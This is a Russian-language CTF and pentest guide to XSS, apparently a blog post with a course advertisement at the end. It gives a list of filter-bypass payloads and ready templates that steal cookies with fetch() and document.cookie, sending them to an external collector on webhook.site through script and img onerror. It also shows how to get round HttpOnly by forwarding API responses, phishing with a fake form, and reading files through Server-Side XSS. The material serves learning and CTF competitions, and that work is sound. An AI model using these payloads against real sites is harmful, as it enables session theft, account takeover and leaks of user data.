
На прошлом CTF-турнире задача на Stored XSS заняла у меня 12 минут: 10 — на обход фильтра, который резал <script>, и 2 — на эксфильтрацию cookie бота через <img> с onerror. Команда за соседним столом потратила на тот же таск полтора часа — перебирала пейлоады вслепую, не определив контекст отражения. Между «знаю что такое Cross-Site Scripting» и «стабильно решаю XSS-таски» лежит не талант, а системный алгоритм: анализ контекста в Burp Repeater, набор bypass-техник под конкретный тип фильтрации и готовый шаблон для захвата сессии. Этот гайд — тот самый алгоритм, который я использую на CTF-площадках и при пентесте веб-приложений.
[Применимо: CTF web-категория, внешний веб-пентест, black box] Подробнее — в нашем руководстве по пентест веб-приложений.
XSS — не изолированный трюк с alert(1), а звено в цепочке. В терминах MITRE ATT&CK раскладывается так:
document.cookie данные сессии уходят на внешний коллекторДля обхода фильтров применяется Command Obfuscation (T1027.010) — encoding, смешанный регистр, вложенные теги.
В типичной CTF-задаче задействованы шаги 1–3: нашёл JavaScript инъекцию, обошёл фильтр, угнал cookie бота — получил флаг. Но понимание полной цепочки помогает адаптироваться. Если cookie помечен HttpOnly и document.cookie не отдаёт ничего — переключаетесь на CSRF (заставляете бота выполнить действие от своего имени) или фишинг через подмену формы — Web Portal Capture (T1056.003).
По классификации OWASP Top 10 (2021), XSS попадает в категорию A03:2021 — Injection: приложение уязвимо, когда пользовательские данные попадают в HTML-ответ без валидации и экранирования. Одна из самых распространённых веб-уязвимостей CTF и одновременно самая частая категория находок на реальных пентестах веб-приложений.
Бизнес-логика атаки для CTF: бот «просматривает» страницу с внедрённым скриптом. Скрипт отправляет его cookie на ваш сервер. В cookie лежит флаг, или сессия даёт доступ к эндпоинту с флагом. Всё. Остальное — техника и терпение.
Требования к окружению:
- Burp Suite Community Edition (бесплатный, для CTF хватает за глаза) или Pro — последняя версия
- Firefox с проксированием на 127.0.0.1:8080
- RAM: 4 ГБ минимум (Burp + браузер + CTF-платформа)
- Внешний коллектор: webhook.site (бесплатно, без регистрации) или Burp Collaborator (только Pro)
- Для локальных тасков: Python 3.x для python3 -m http.server или netcat
Работает если: сервер отражает пользовательский ввод в HTML-ответе без экранирования или с неполной фильтрацией. Не работает если: применяется htmlspecialchars() с флагом ENT_QUOTES и указанной кодировкой на серверной стороне, включён строгий CSP с script-src 'self' без unsafe-inline.
Reflected XSS возникает, когда сервер берёт значение из GET/POST-параметра и вставляет его в HTML-ответ «как есть». В CTF это чаще всего параметр поиска, имя пользователя в приветствии или значение на странице ошибки 404.
Алгоритм поиска в Burp Repeater:
xsstest7749 без спецсимволов. Уникальность нужна, чтобы не было ложных совпадений с контентом страницы<div>маркер</div>, в атрибуте <input value="маркер">, или в JavaScript-блоке var x = 'маркер'Проверяйте не только GET/POST-параметры, но и заголовки. По данным hackviser.com, заголовки User-Agent, Referer и X-Forwarded-For тоже могут отражаться в ответе — на страницах ошибок или в панелях аналитики. В Burp Repeater подставьте маркер в каждый заголовок и проверьте ответ.
Один и тот же пейлоад <script>alert(1)</script> сработает в одном контексте и окажется бесполезен в другом. Три базовых сценария, которые покрывают 90% CTF-тасков на Reflected XSS:
Контекст 1 — внутри HTML-тега. Маркер отразился как <div>xsstest7749</div>. Работает прямое внедрение: <img src=x onerror=alert(1)> или <script>alert(1)</script>. Браузер распарсит новый тег и выполнит JavaScript.
Контекст 2 — внутри атрибута. Маркер в <input value="xsstest7749">. Нужно закрыть атрибут и тег: "><img src=x onerror=alert(1)>. Одинарные кавычки? '><img src=x onerror=alert(1)>. Есть вариант без закрытия тега: " autofocus onfocus="alert(1) — добавляет событийный обработчик в существующий элемент. Приём пригодится, когда фильтр блокирует символ >.
Контекст 3 — внутри <script>-блока. Маркер в var name = 'xsstest7749';. HTML-теги не нужны — достаточно закрыть строку и дописать JS: ';alert(1);//. Двойной слэш комментирует остаток строки, чтобы не сломать синтаксис. Строка в двойных кавычках — ";alert(1);//.
В Burp Repeater проверяется за секунды: подставил пейлоад в параметр → Send → в Response смотрите, не заэкранировались ли угловые скобки в < и >. Скобки на месте — инъекция работает.
Для Reflected XSS в CTF финальный шаг — сформировать URL с пейлоадом и скормить его боту через форму «Report URL» или «Send link to admin». Бот откроет URL, скрипт сработает, cookie утечёт на коллектор.
Работает если: поле ввода не фильтрует HTML/JS на стороне сервера, результат сохраняется в базе и отображается другим пользователям при просмотре страницы. Не работает если: сервер применяет output encoding при рендеринге, CSP блокирует inline-скрипты, cookie помечен HttpOnly.
Stored XSS атака — пейлоад сохраняется на сервере и срабатывает при каждом просмотре страницы. В CTF типичный сценарий: форма комментариев, гостевая книга, чат или профиль. CTF-бот периодически «просматривает» все записи. Загрузил страницу с вашим пейлоадом — JavaScript исполнился в его браузере с его cookie.
По методологии PortSwigger (лаба «Exploiting cross-site scripting to steal cookies»), Stored XSS через комментарии эксплуатируется в три шага: вы отправляете комментарий с пейлоадом, который вызывает fetch() с document.cookie в теле запроса на внешний сервер. Каждый посетитель страницы (включая бота с привилегированной сессией) непроизвольно отправляет свои cookie на ваш коллектор.
В отличие от Reflected XSS, где нужно «подсунуть» URL жертве, Stored XSS работает пассивно: внедрили пейлоад — и ждёте. В CTF бот обычно проверяет страницу раз в 10–60 секунд. Терпение.
Три варианта приёмника данных, от простого к продвинутому:
webhook.site — бесплатный, без регистрации. Заходите на webhook.site, получаете уникальный URL вида https://webhook.site/ваш-uuid. Любой запрос к нему фиксируется с полным телом и заголовками. Для CTF — оптимально: работает из любого браузера, VPS не нужен.
Burp Collaborator (только Burp Pro). Вкладка Collaborator → Copy to clipboard. Получаете поддомен xxx.burpcollaborator.net. Плюс — интеграция с Burp: украденные данные появляются в той же IDE, где вы работаете. По документации PortSwigger, именно этот метод рекомендуется для их лаб.
Собственный сервер. python3 -m http.server 8888 или nc -nlvp 80 на VPS с белым IP. Cookie придёт в GET-параметре или в теле POST-запроса. Для CTF избыточно, но на реальных пентестах бывает нужен полный контроль над логированием.
Ключевой пейлоад для угона cookie через Stored XSS:
<script>
fetch('https://webhook.site/ваш-uuid', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
})
</script>
Параметр mode: 'no-cors' — критически важен. Без него браузер заблокирует кросс-доменный POST из-за Same-Origin Policy. С no-cors запрос уйдёт, хотя ответ будет недоступен скрипту — но для эксфильтрации ответ и не нужен.
После получения cookie на коллекторе: откройте Burp Repeater → возьмите запрос к целевому сайту → замените значение заголовка Cookie на украденное → отправьте запрос к /my-account или панели администратора. Cookie валиден — вы вошли как жертва. В CTF на этой странице обычно лежит флаг.
Если cookie помечен флагом HttpOnly, JavaScript не имеет к нему доступа — защита на уровне браузера. В CTF такое встречается в задачах уровня medium и выше. Три обходных пути:
CSRF через XSS. Вместо кражи cookie заставьте бота выполнить действие напрямую. Внедрите скрипт, который делает fetch('/api/flag'), получает ответ и пересылает его на коллектор. Бот выполнит запрос со своей сессией — ответ с флагом уйдёт к вам.
Рефлексия через API. Если приложение имеет эндпоинт типа /api/user/profile, который возвращает данные профиля — запросите его через XSS-пейлоад и перешлите ответ. По подходу, описанному на armur.ai, цепочка выглядит так: fetch('/api/user/profile').then(r=>r.json()).then(data=>...).
Фишинг формой (T1056.003). Через document.write() внедряете поддельную форму логина. Жертва вводит credentials — они уходят на ваш сервер. В CTF работает, если бот умеет «вводить данные», но встречается реже.
Большинство CTF-тасков на XSS — это не «вставь <script>alert(1)</script>», а «обойди фильтр и вставь». Фильтры бывают серверные (PHP str_replace, Python sanitizers) и клиентские (WAF-правила, JavaScript-валидация). Неполная фильтрация — основная причина, по которой injection-уязвимости держат первенство в OWASP Top 10.
Шаг 1: определите, что именно фильтруется. Отправьте через Burp Repeater тестовую строку '":;<>/\[]<script><h1> и сравните Response с отправленным. Четыре возможных результата:
Всё на месте — фильтров нет, берите стандартный пейлоад. Исчез только <script> — фильтр ищет конкретный тег по имени. Исчезли и <script>, и <h1> — фильтр удаляет всё, что похоже на HTML-тег. Символы < и > превратились в < и > — применяется HTML-encoding, как описано в документации PHP по htmlspecialchars. Последний случай — самый тяжёлый: если encoding применён корректно (с флагом ENT_QUOTES и кодировкой UTF-8), обойти его через внедрение тегов практически невозможно, и нужно искать другой вектор.
Шаг 2: подбирайте bypass по результату.
Фильтр удаляет <script> однократно. Классика — вложенный тег: <scr<script>ipt>alert(1)</scr</script>ipt>. Фильтр удаляет внутренний <script> — остаётся рабочий <script>alert(1)</script>. Трюк документирован ещё в курсе «Молодого CTF бойца» на cybber.ru и до сих пор работает в задачах начального уровня.
Фильтр удаляет все известные теги. Переходите к тегам, которых может не быть в чёрном списке: <svg/onload=alert(1)> — всего 23 символа, самый компактный XSS payload. Другие варианты: <details/open/ontoggle=alert(1)>, <body/onload=alert(1)>, <marquee onstart=alert(1)>. По данным hackviser.com, альтернативных тегов с событийными обработчиками — десятки. Вероятность, что все заблокированы, мала.
Фильтр регистрочувствительный. Смешанный регистр проходит: <ScRiPt>alert(1)</ScRiPt>, <IMG SRC=x onerror=alert(1)>. HTML нечувствителен к регистру тегов — браузер обработает и <SCRIPT>, и <script> одинаково.
Когда стандартные пейлоады XSS не проходят, encoding — следующий уровень.
Двойное URL-кодирование. Если сервер декодирует параметры дважды (веб-сервер + приложение), а фильтр стоит между первым и вторым decode: %253Cscript%253E → после первого декода %3Cscript%3E → после второго <script>. Фильтр видит закодированную версию и пропускает. По данным cybber.ru, приём работает в bWAPP и аналогичных учебных платформах.
HTML-entities в атрибутах. Браузер декодирует HTML-entities перед исполнением JavaScript внутри атрибутов: <img src=x onerror="alert(1)"> — entity a превращается в символ a. Полезно, когда фильтр ищет строку alert в исходном тексте.
JavaScript Unicode escape. Внутри <script>-блока: \u0061\u006C\u0065\u0072\u0074(1) — это alert(1) в Unicode-нотации. Движок JavaScript выполнит корректно.
String.fromCharCode. Обходит фильтрацию строковых литералов: alert(String.fromCharCode(88,83,83)) вместо alert('XSS'). В CTF полезно, когда фильтруются кавычки.
base64 через eval(atob()): eval(atob('YWxlcnQoMSk=')) эквивалентно alert(1). Работает, если eval не заблокирован.
Сводная таблица bypass-техник:
| Что фильтруется | Bypass-техника | Пример XSS payload |
|---|---|---|
Тег <script> |
Альтернативный тег | <svg/onload=alert(1)> |
| Все теги однократно | Вложенный тег | <scr<script>ipt>alert(1)</script> |
Символы < и > |
Событие в атрибуте | " onfocus="alert(1)" autofocus=" |
Слово alert |
Альтернативная функция | confirm(1) или prompt(1) |
Круглые скобки () |
Template literals | alert`1` |
| Регистр | Смешанный регистр | <ScRiPt>alert(1)</ScRiPt> |
| Одинарный decode | Двойное URL-кодирование | %253Cscript%253E |
| Кавычки | String.fromCharCode | String.fromCharCode(88,83,83) |
Content Security Policy (CSP). Строгий CSP с script-src 'self' или script-src 'nonce-XXX' блокирует inline-скрипты. В CTF обязательно проверяйте заголовок Content-Security-Policy в ответе через Burp. CSP есть — ищите JSONP-эндпоинты на том же домене, разрешённые источники скриптов или мисконфигурации (unsafe-eval, unsafe-inline). CSP — самая эффективная защита от XSS, и грамотная настройка закрывает большинство векторов.
Sanitization-библиотеки. DOMPurify (JavaScript), Bleach (Python) — серьёзные библиотеки, которые парсят HTML в DOM-дерево и удаляют опасные элементы. Обойти актуальную версию DOMPurify — задача уровня 0-day. В CTF наличие DOMPurify обычно означает «ищи другой вектор» или «ищи устаревшую версию библиотеки с известным CVE».
Современные фреймворки. React экранирует JSX-выражения по умолчанию, Vue — содержимое шаблонов. XSS в них возникает через dangerouslySetInnerHTML (React) или v-html (Vue). Видите эти конструкции в исходном коде таска — это ваша точка входа. Без них — XSS в рамках фреймворка практически невозможен.
WAF (Web Application Firewall). ModSecurity с OWASP CRS, Cloudflare WAF — на реальных пентестах серьёзное препятствие. В CTF WAF встречается нечасто, но когда есть — обычно обходится через encoding, нестандартные теги или разбивку пейлоада. На реальном внешнем пентесте WAF-обход — отдельная методология, и парой трюков тут не обойтись.
Server-Side XSS. Отдельная категория, описанная в задаче «XSS - Server Side» на root-me.org (HackDay 2023 CTF). Пейлоад исполняет не браузер пользователя, а серверный компонент — движок генерации PDF (wkhtmltopdf, PDFKit). Тут работает не document.cookie, а чтение файлов через <iframe src=file:///flag.txt> или XMLHttpRequest к локальным ресурсам. Если в CTF-задаче генерируется PDF — проверяйте Server-Side XSS как приоритетный вектор.
Сводный алгоритм для типичной CTF-задачи на XSS с угоном cookie:
xsstest7749 в каждое поле и проверьте, где он отображается'":;<>[]<script><h1> и сравните вход с выходом<script>alert(1)</script>, при неудаче переходите к <svg/onload=alert(1)> и далее по таблицеalert(1) на эксфильтрацию: fetch() с document.cookie в теге, соответствующем контекстуЕсли <script> фильтруется, альтернатива без этого тега:
<img src=x onerror="fetch('https://webhook.site/uuid',
{method:'POST',mode:'no-cors',body:document.cookie})">
Тот же результат через обработчик onerror тега <img> — срабатывает, когда браузер не может загрузить изображение из несуществующего src=x. Пейлоад проходит фильтры, которые блокируют только тег <script>, и покрывает большинство задач среднего уровня.
Для задач, где фильтруется и onerror, и onload — пробуйте менее распространённые обработчики: <details open ontoggle="...">, <input autofocus onfocus="...">, <body onpageshow="...">. В крайнем случае — комбинируйте encoding с альтернативными тегами: <svg/onload=eval(atob('base64_пейлоад'))>.
Большинство CTF-игроков подходят к XSS-таскам методом «вставлю alert(1) и посмотрю что будет». На задачах для новичков прокатывает, но на соревнованиях уровня medium и выше вы тратите время на перебор пейлоадов вместо 30 секунд на анализ контекста. За два года в web-категории CTF я убедился: 80% времени на XSS-задачу уходит на понимание того, как именно фильтруется ввод и в каком контексте он отражается. Оставшиеся 20% — подставить правильный пейлоад и забрать флаг.
Вторая типичная ошибка — зацикливание на alert(). В CTF alert(1) нужен ровно один раз — убедиться, что инъекция работает. Дальше нужен пейлоад для эксфильтрации, и он должен быть готов заранее: формула с fetch() и document.cookie, коллектор открыт, URL скопирован. Я видел ребят, которые тратили 20 минут на поиск bypass, потом ещё 15 — на гугление «как угнать cookie через XSS». Подготовка шаблонов пейлоадов до начала CTF — базовая гигиена, которая экономит десятки минут на каждом таске.
И ещё одна вещь, которую мало кто проговаривает вслух: XSS уязвимость на CTF и XSS на реальном пентесте — разные дисциплины. В CTF есть гарантированный бот, который откроет страницу. На реальном проекте нужно ещё убедить жертву перейти по ссылке (Reflected) или дождаться, когда администратор зайдёт на страницу (Stored). Навык решения CTF-тасков переносится в пентест не напрямую, а через понимание механики: контексты внедрения, типы фильтров, encoding. Если хочешь не просто writeup, а пройти всю атаку самому с нарастающей сложностью — на WAPT лаба на каждый такой кейс плюс ментор при затыке.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...